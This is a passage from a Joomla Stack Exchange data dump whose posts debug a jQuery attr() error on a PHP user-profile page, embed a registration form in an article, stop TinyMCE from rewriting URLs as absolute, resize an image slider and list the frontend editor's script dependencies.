&amp;lt;/div&amp;gt;&#xA;                &amp;lt;!-- P3 Points --&amp;gt;  &#xA;                &amp;lt;div id=&quot;input2&quot;&amp;gt;&#xA;                    &amp;lt;label class=&quot;inline label&quot; for=&quot;points_available&quot;&amp;gt;Points Available : &#xA;                        &amp;lt;a href=&quot;#&quot; tabindex=&quot;-1&quot; id=&quot;popover3&quot; rel=&quot;popover3&quot; class=&quot;pop&quot; data-content=&quot;&quot; data-original-title=&quot;Points Available&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;/P3Live/images/icons/help.png&quot; data-toggle=&quot;tooltip&quot; title=&quot;&quot; ie=&quot;tooltip1&quot;&amp;gt;&#xA;                        &amp;lt;/a&amp;gt; &#xA;                        &amp;lt;div id=&quot;popover3-content&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;popTitle&quot;&amp;gt;Points Available&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;popContent&quot;&amp;gt;&#xA;                            &amp;lt;font color=#000000&amp;gt;&#xA;                                &amp;lt;p&amp;gt;This is the number of avialable points for this user.&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/font&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;inline&quot;&amp;gt;&#xA;                        &amp;lt;?php&#xA;                            echo $row['points_available'];&#xA;                        ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;inline&quot;&amp;gt;&amp;lt;span id=&quot;err_points_available&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt; &#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php&#xA;                if($CurrentUser) {&#xA;                ?&amp;gt;&#xA;                    &amp;lt;!-- Blacklisted Players --&amp;gt;    &#xA;                    &amp;lt;div id=&quot;input3&quot;&amp;gt;&#xA;                        &amp;lt;label class=&quot;inline label top&quot; for=&quot;blacklist&quot;&amp;gt;Blacklisted Players : &#xA;                            &amp;lt;a href=&quot;#&quot; tabindex=&quot;-1&quot; id=&quot;popover4&quot; rel=&quot;popover4&quot; class=&quot;pop&quot; data-content=&quot;&quot; data-original-title=&quot;Blacklisted Players&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;/P3Live/images/icons/help.png&quot; data-toggle=&quot;tooltip&quot; title=&quot;&quot; ie=&quot;tooltip1&quot;&amp;gt;&#xA;                            &amp;lt;/a&amp;gt; &#xA;                            &amp;lt;div id=&quot;popover4-content&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;popTitle&quot;&amp;gt;Blacklisted Players&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;popContent&quot;&amp;gt;&#xA;                                &amp;lt;font color=#000000&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;These are the players you currently have on your blacklist.&amp;lt;/p&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;They will not be able to join any private matches nor will you be able to invite them.&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;/font&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/label&amp;gt;&#xA;                        &amp;lt;div class=&quot;inline&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;/P3Live/forms/select_blacklist_members.php&quot; id=&quot;ManageBlacklist&quot; data-title='Manage Blacklist' data-width='300px' data-height='400px'&amp;gt;Manage Blacklist&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;?php&#xA;                                $Blacklist = explode(&quot;,&quot;, $row['blacklist']);&#xA;                                if(sizeof($Blacklist)&amp;gt;0) {&#xA;                                    echo &quot;&amp;lt;br /&amp;gt;&amp;lt;ul&amp;gt;&quot;;&#xA;                                    foreach($Blacklist as $key=&amp;gt;$value) {&#xA;                                        echo &quot;&amp;lt;li&amp;gt;&quot; . getJoomlaUsername($value) . &quot;&amp;lt;/li&amp;gt;&quot;;&#xA;                                    }&#xA;                                    echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;                                } else {&#xA;                                    echo &quot;n/a&quot;;&#xA;                                }&#xA;                            ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;inline&quot;&amp;gt;&amp;lt;span id=&quot;err_blacklist&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt; &#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php&#xA;                }&#xA;                ?&amp;gt;&#xA;                &amp;lt;div id=&quot;mailing_lists&quot;&amp;gt;&amp;lt;h3&amp;gt;Mailing Lists&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;ul style=&quot;list-style-type: none;&quot;&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;input type=&quot;checkbox&quot; class=&quot;ml_option&quot; name=&quot;ml_18&quot; id=&quot;ml_18&quot; /&amp;gt;&amp;amp;nbsp; &amp;amp;nbsp;Announcements&#xA;                            &amp;lt;a href=&quot;#&quot; tabindex=&quot;-1&quot; id=&quot;popover5&quot; rel=&quot;popover5&quot; class=&quot;pop&quot; data-content=&quot;&quot; data-original-title=&quot;Mailng List: Announcements&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;/P3Live/images/icons/help.png&quot; data-toggle=&quot;tooltip&quot; title=&quot;&quot; ie=&quot;tooltip1&quot;&amp;gt;&#xA;                            &amp;lt;/a&amp;gt; &#xA;                            &amp;lt;div id=&quot;popover5-content&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;popTitle&quot;&amp;gt;Mailng List: Announcements&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;popContent&quot;&amp;gt;&#xA;                                &amp;lt;font color=#000000&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;This mailing list will be used for general announcements such as product changes, releases, and sales.  It will also be used for Tournament Announcements and other activities.&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;/font&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;input type=&quot;checkbox&quot; class=&quot;ml_option&quot; name=&quot;ml_19&quot; id=&quot;ml_19&quot; /&amp;gt;&amp;amp;nbsp; &amp;amp;nbsp;Site Updates&#xA;                            &amp;lt;a href=&quot;#&quot; tabindex=&quot;-1&quot; id=&quot;popover6&quot; rel=&quot;popover6&quot; class=&quot;pop&quot; data-content=&quot;&quot; data-original-title=&quot;Mailng List: Site Updates&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;/P3Live/images/icons/help.png&quot; data-toggle=&quot;tooltip&quot; title=&quot;&quot; ie=&quot;tooltip1&quot;&amp;gt;&#xA;                            &amp;lt;/a&amp;gt; &#xA;                            &amp;lt;div id=&quot;popover6-content&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;popTitle&quot;&amp;gt;Mailng List: Site Updates&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;popContent&quot;&amp;gt;&#xA;                                &amp;lt;font color=#000000&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;This mailing list will be used for updates to both the P3 and P3 Live websites.&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;/font&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;input type=&quot;checkbox&quot; class=&quot;ml_option&quot; name=&quot;ml_20&quot; id=&quot;ml_20&quot; /&amp;gt;&amp;amp;nbsp; &amp;amp;nbsp;Software Updates&#xA;                            &amp;lt;a href=&quot;#&quot; tabindex=&quot;-1&quot; id=&quot;popover7&quot; rel=&quot;popover7&quot; class=&quot;pop&quot; data-content=&quot;&quot; data-original-title=&quot;Mailng List: Software Updates&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;/P3Live/images/icons/help.png&quot; data-toggle=&quot;tooltip&quot; title=&quot;&quot; ie=&quot;tooltip1&quot;&amp;gt;&#xA;                            &amp;lt;/a&amp;gt; &#xA;                            &amp;lt;div id=&quot;popover7-content&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;popTitle&quot;&amp;gt;Mailng List: Site Updates&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;popContent&quot;&amp;gt;&#xA;                                &amp;lt;font color=#000000&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;This mailing list will be used for updates to the ProGolf software.&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;/font&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;        if(in_array(18,$UserInfo['usergroups'])) { ?&amp;gt;&amp;lt;script&amp;gt;$('#ml_18').prop('checked',true)&amp;lt;/script&amp;gt;&amp;lt;?php } else { ?&amp;gt;&amp;lt;script&amp;gt;$('#ml_18').prop('checked',false)&amp;lt;/script&amp;gt; &amp;lt;?php } &#xA;        if(in_array(19,$UserInfo['usergroups'])) { ?&amp;gt;&amp;lt;script&amp;gt;$('#ml_19').prop('checked',true)&amp;lt;/script&amp;gt;&amp;lt;?php } else { ?&amp;gt;&amp;lt;script&amp;gt;$('#ml_19').prop('checked',false)&amp;lt;/script&amp;gt; &amp;lt;?php } &#xA;        if(in_array(20,$UserInfo['usergroups'])) { ?&amp;gt;&amp;lt;script&amp;gt;$('#ml_20').prop('checked',true)&amp;lt;/script&amp;gt;&amp;lt;?php } else { ?&amp;gt;&amp;lt;script&amp;gt;$('#ml_20').prop('checked',false)&amp;lt;/script&amp;gt; &amp;lt;?php } &#xA;    ?&amp;gt;&#xA;    &amp;lt;div id=&quot;right&quot; class=&quot;inline top&quot; style=&quot;width:70%; min-width:250px;&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Courses owned by this user&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;?php&#xA;        if($CurrentUser) {&#xA;            ?&amp;gt;&#xA;            &amp;lt;center&amp;gt;&#xA;            &amp;lt;a href=&quot;/P3Live/forms/user_courses.php&quot; data-title='Course Info' data-width='1100px' data-height='620px'&amp;gt;Manage my Courses&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/center&amp;gt;&#xA;            &amp;lt;?php&#xA;        }&#xA;        ?&amp;gt;&#xA;        &amp;lt;table id=&quot;results&quot; border=&quot;1&quot; class=&quot;display&quot;&amp;gt;&#xA;            &amp;lt;thead&amp;gt;&#xA;                &amp;lt;th&amp;gt;Course Name&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/thead&amp;gt;&#xA;            &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;?php&#xA;        foreach($UserCourseList as $key=&amp;gt;$value) {&#xA;            ?&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;?php echo $value; ?&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;?php   &#xA;        }&#xA;        ?&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;$(function () {&#xA;    var iframe = $('&amp;lt;iframe frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;');&#xA;    var dialog = $(&quot;&amp;lt;div id='dialog'&amp;gt;&amp;lt;/div&amp;gt;&quot;).append(iframe).appendTo(&quot;body&quot;).dialog({&#xA;        autoOpen: false,&#xA;        modal: true,&#xA;        resizable: false,&#xA;        width: &quot;auto&quot;,&#xA;        height: &quot;auto&quot;,&#xA;        close: function () {&#xA;            iframe.attr(&quot;src&quot;, &quot;&quot;);&#xA;            location.reload();  // Refresh the page when the dialog is closed so Users column is correct&#xA;        }&#xA;    });&#xA;    $(&quot;a&quot;).on(&quot;click&quot;, function (e) {&#xA;        e.preventDefault(); &#xA;        var src = $(this).attr(&quot;href&quot;);&#xA;        var title = $(this).attr(&quot;data-title&quot;);&#xA;        var width = $(this).attr(&quot;data-width&quot;);&#xA;        var height = $(this).attr(&quot;data-height&quot;);&#xA;        iframe.attr({&#xA;            width: width,&#xA;            height: height,&#xA;            src: src&#xA;        });&#xA;        dialog.dialog(&quot;option&quot;, &quot;title&quot;, title).dialog(&quot;open&quot;);&#xA;    });&#xA;});&#xA;&#xA;$(document).ready(function() {&#xA;    $('#results').DataTable({&#xA;        // Set default show settings&#xA;        &quot;iDisplayLength&quot;: 10,&#xA;        &quot;bPaginate&quot;: true&#xA;    });&#xA;&#xA;    $(&quot;.ml_option&quot;).click(function() {&#xA;        var id = $(this).attr('id');&#xA;        if($(&quot;#&quot;+id).is(':checked')) { &#xA;            val = 'add';&#xA;            task = 'added to'; &#xA;        } else { &#xA;            val= 'remove';&#xA;            task = 'removed from';&#xA;        }&#xA;        id = id.replace(&quot;ml_&quot;, &quot;&quot;);&#xA;        $.ajax({&#xA;            type: &quot;POST&quot;, &#xA;            dataType: &quot;json&quot;, &#xA;            url:&quot;/P3Live/_includes/php/UserGroups.php&quot;,&#xA;            data: {type:val,user_id: document.getElementById('user_id').value,group_id:id},&#xA;            success: function(response) {&#xA;                if (response.status == &quot;success&quot;) {&#xA;                    // Do nothing.. just continue&#xA;                    console.log(&quot;Successfully &quot;+task+&quot; mailing list.&quot;)&#xA;                } else {&#xA;                    console.log(response.message);&#xA;                }&#xA;            },&#xA;            error: function(response) {&#xA;                for (var k in response){&#xA;                    if (typeof response[k] !== 'function') {&#xA;                         console.log(&quot;Key is &quot; + k + &quot;, value is &quot; + response[k]);&#xA;                    }&#xA;                }&#xA;            }&#xA;        });&#xA;&#xA;    })&#xA;&#xA;    var frmPopovers_1 = document.getElementById('UserInfo').getElementsByClassName('pop');&#xA;    $(frmPopovers_1).each(function() {&#xA;&#xA;        var $pElem_frm1=$(this);&#xA;        var elementName_frm1=$pElem_frm1.attr(&quot;id&quot;);&#xA;        var element_frm1 = document.getElementById(elementName_frm1);&#xA;        var xPosition_frm1 = 0;&#xA;        $pElem_frm1.popover (&#xA;            {&#xA;                trigger: &quot;hover&quot;,   &#xA;                placement: &quot;right&quot;,&#xA;                html:true,&#xA;                title: getPopTitle($pElem_frm1.attr(&quot;id&quot;)),&#xA;                content: getPopContent($pElem_frm1.attr(&quot;id&quot;))&#xA;            }&#xA;        );&#xA;    });&#xA;});&#xA;&#xA;function getPopTitle(target) {&#xA;    return $(&quot;#&quot; + target + &quot;-content &amp;gt; div.popTitle&quot;).html();&#xA;}&#xA;&#xA;function getPopContent(target) {&#xA;    return $(&quot;#&quot; + target + &quot;-content &amp;gt; div.popContent&quot;).html();&#xA;}&#xA;&#xA;function closeIframe()&#xA;{&#xA;    $('#dialog').dialog('close');&#xA;    return false;&#xA;}&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7700" LastEditorUserId="7700" LastEditDate="2016-02-11T13:56:38.803" LastActivityDate="2016-02-12T04:05:05.063" Title="Uncaught TypeError: $(...).attr is not a function" Tags="|joomla-3.x|php|jquery|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15254" PostTypeId="2" ParentId="15253" CreationDate="2016-02-10T22:34:51.943" Score="1" Body="&lt;p&gt;I assume you are showing an external page with an iframe. But can you clarify what you mean when you say &quot;I put the page in the module&quot;? What exactly you are doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could further assume, you are getting the source code of that page and pasting it in a custom html module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such case, you must pay attention, on the scripts and the libraries. For example, you might be loading twice the jQuery library (which is very likely) - or you might end up with a different scripts loading order, so that's why the js errors.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-02-10T22:34:51.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15255" PostTypeId="2" ParentId="15253" CreationDate="2016-02-11T00:37:52.830" Score="0" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var title = $(this).data(&quot;title&quot;);&#xA;var width = $(this).data(&quot;width&quot;);&#xA;var height = $(this).data(&quot;height&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but leave your link attributes named the way they are data-title, data-width, and data-height&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to wrap your code in this as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Complete it would look similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;https://www.google.com&quot; data-width=&quot;300px&quot; data-height=&quot;300px&quot; data-title=&quot;my title&quot; class=&quot;link&quot;&amp;gt;Google.com&amp;lt;/a&amp;gt;&#xA;&#xA;jQuery(document).ready(function($){&#xA;    $(&quot;a&quot;).on(&quot;click&quot;, function (e){&#xA;        e.preventDefault(); &#xA;        var src = $(this).attr(&quot;href&quot;);&#xA;        var title = $(this).data(&quot;title&quot;);&#xA;        var width = $(this).data(&quot;width&quot;);&#xA;        var height = $(this).data(&quot;height&quot;);&#xA;        iframe.attr({&#xA;            width: '&quot;'+width+'&quot;',&#xA;            height: '&quot;'+height+'&quot;',&#xA;            src: '&quot;'+src+'&quot;'&#xA;        });&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To verify that your variables are grabbing the correct data you can console.log(width) or height or title or src to see the output in the debugger console. You probably wanna assign a class to the links as well so you can listen for clicks on a.className instead of every single link on your page.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2016-02-11T00:59:19.637" LastActivityDate="2016-02-11T00:59:19.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15256" PostTypeId="1" AcceptedAnswerId="15257" CreationDate="2016-02-11T05:05:43.077" Score="0" ViewCount="912" Body="&lt;p&gt;I need to add a user registration form inside an article. I know I can insert a login form using:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{loadmodule mod_login}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but is there any way to load only the registration form?&lt;/p&gt;&#xA;" OwnerUserId="7549" LastEditorUserId="120" LastEditDate="2016-02-11T06:27:53.043" LastActivityDate="2016-02-11T06:27:53.043" Title="Joomla show user registration form inside article" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15257" PostTypeId="2" ParentId="15256" CreationDate="2016-02-11T05:22:56.787" Score="1" Body="&lt;p&gt;You can use extensions for achieving this functionality.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's link to the extension I'm aware of that allow you to put a registration form in a module:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-access/s5-register&quot; rel=&quot;nofollow&quot;&gt;S5 Register&lt;/a&gt; (Free)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;S5 Register module&lt;/code&gt; is simply is a module that allows for user registration on any page via a module, its an exact copy of the default Joomla page but can be published to a &lt;code&gt;module position&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/plugins-and-modules/rsformpro-joomla-user-registration-plugin.html&quot; rel=&quot;nofollow&quot;&gt;RSform!Pro&lt;/a&gt; (Paid)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now using &lt;code&gt;loadmodule&lt;/code&gt; or &lt;code&gt;loadpostilion&lt;/code&gt; you can put registration form anywhere in your site.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-02-11T05:22:56.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15258" PostTypeId="1" AcceptedAnswerId="15259" CreationDate="2016-02-11T10:48:49.307" Score="2" ViewCount="78" Body="&lt;p&gt;I've inherited a Joomla site. I've noticed that some articles contain URLs like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://testdomain.test/rest_of_url&quot;&amp;gt;example&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This site gets copied from our staging server to a production server, serving another domain, the production domain production.com. We don't want users on the production server to be linked to the staging domain testdomain.test, so this is a problem for us. The solution to this, I thought, was to modify the URLs to become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/rest_of_url&quot;&amp;gt;example&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I modify the article content like that, I click &quot;save&quot;, but something automatically modifies the article content to put back the &lt;code&gt;http://&lt;/code&gt; scheme and the domain at the front. Other changes to the article content do get saved though. I presume one of the plug-ins is doing this, as other Joomla sites that I've worked on do not have this behaviour. The full URL does get saved to the database in the article content, I've verified that manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about debugging this issue to find out what's modifying the article content before it gets saved to the database? Is there a quicker way than manually turning off plugins one-by-one (or bisecting)?&lt;/p&gt;&#xA;" OwnerUserId="5239" LastActivityDate="2016-02-11T11:26:52.727" Title="When I save an article, URLs are modified to include hostname" Tags="|plugin|articles|url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15259" PostTypeId="2" ParentId="15258" CreationDate="2016-02-11T10:58:50.663" Score="1" Body="&lt;p&gt;I found the culprit by disabling plug-ins one-by-one. It was &quot;Editor - TinyMCE&quot;. It has a setting that lets you choose between absolute and relative URLs. Here's a screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nOOlf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nOOlf.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change that setting to &quot;relative&quot;, the URLs become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;a href=&quot;rest_of_url&quot;&amp;gt;example&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not exactly what I want, as I would like the &lt;code&gt;/&lt;/code&gt; prefix for peace of mind.&lt;/p&gt;&#xA;" OwnerUserId="5239" LastActivityDate="2016-02-11T10:58:50.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15260" PostTypeId="2" ParentId="15258" CreationDate="2016-02-11T11:26:52.727" Score="1" Body="&lt;p&gt;For internal links, I always prefer relative NON-SEF urls, linking to the content item, either this is a menu item, a content item (article) etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all my Joomla installs I use JCE editor and its link manager plugin is very handy in creating the NON-SEF links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, all internal links will be working under any domain and with SEF URLs enabled/disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final generated urls will also be able to be managed within 3rd party SEF extensions - and follow the configuration you apply in there, so in case you decide to do changes in the URLs structure tree (e.g. category-title/article-title combinations) you won't have to go and edit manually sef urls inside your content.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-02-11T11:26:52.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15261" PostTypeId="1" AcceptedAnswerId="15276" CreationDate="2016-02-11T14:47:25.437" Score="1" ViewCount="2679" Body="&lt;p&gt;I downloaded a template for my website. Demo site is &lt;a href=&quot;http://www.templatemonster.com/demo/49215.html&quot; rel=&quot;nofollow&quot;&gt;HERE&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a picture slider in the home page which expands to the width of the whole screen. I have noticed that all the pictures in the slider are blank Articles with images specified by &quot;Full article image&quot; and these articles belong to a &quot;slider&quot; Category.&lt;br&gt;&#xA;There appears to be no difference between this &quot;Slider&quot; category and other article categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder how I can change the size (width and height) of this image slider such that it will not occupy the entire width of the screen?&lt;/p&gt;&#xA;" OwnerUserId="7778" LastEditorUserId="126" LastEditDate="2016-02-12T14:32:04.190" LastActivityDate="2016-02-13T16:55:52.160" Title="Change size of an image slider" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15262" PostTypeId="2" ParentId="15181" CreationDate="2016-02-11T15:47:59.263" Score="1" Body="&lt;h2&gt;What are the JS dependencies of the Joomla frontend editor?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frontend editor is dependent on whatever JS files are being loaded by the Joomla core head file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;makes use of this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root]/libraries/joomla/document/html/renderer/head.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Around roughly line 171 is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Generate script file links&#xA;        foreach ($document-&amp;gt;_scripts as $strSrc =&amp;gt; $strAttr)&#xA;        {&#xA;            $buffer .= $tab . '&amp;lt;script src=&quot;' . $strSrc . '&quot;';&#xA;            $defaultMimes = array(&#xA;                'text/javascript', 'application/javascript', 'text/x-javascript', 'application/x-javascript'&#xA;            );&#xA;&#xA;            /// more code ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This foreach loop retrieves and loads various JavaScript files into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of your document. Adding an echo statement will output the names of all of these JS files for your reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Generate script file links&#xA;        foreach ($document-&amp;gt;_scripts as $strSrc =&amp;gt; $strAttr)&#xA;        {&#xA;            echo($strSrc . '&amp;lt;br/&amp;gt;'); // ADD THIS LINE&#xA;            $buffer .= $tab . '&amp;lt;script src=&quot;' . $strSrc . '&quot;';&#xA;            // etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives you a fairly good idea of what JS might be missing from your own template, if it happens to be one which omits the core Joomla &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; content. Here is an example of what my specific Joomla 3.4 setup generated (your setup may vary):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Bx7wM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bx7wM.jpg&quot; alt=&quot;Screenshot of echo statement from joomla head.php, showing imported scripts&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How this helped me solve the JavaScript conflict problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I found that the frontend editor just didn't work the way I wanted if the core Joomla &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; wasn't present, no matter what else I tried (like manually importing the files I thought were missing). If I included the Joomla &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; using &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt;, it caused endless conflicts with our own template JS (which incidentally we load at the bottom of the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; and not in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; check to see if the user is in 'edit' mode and load in the Joomla head &lt;em&gt;or&lt;/em&gt; our template JS depending on the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added this PHP to my custom  code, somewhere near the top:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$layout = $app-&amp;gt;input-&amp;gt;getCmd('layout', 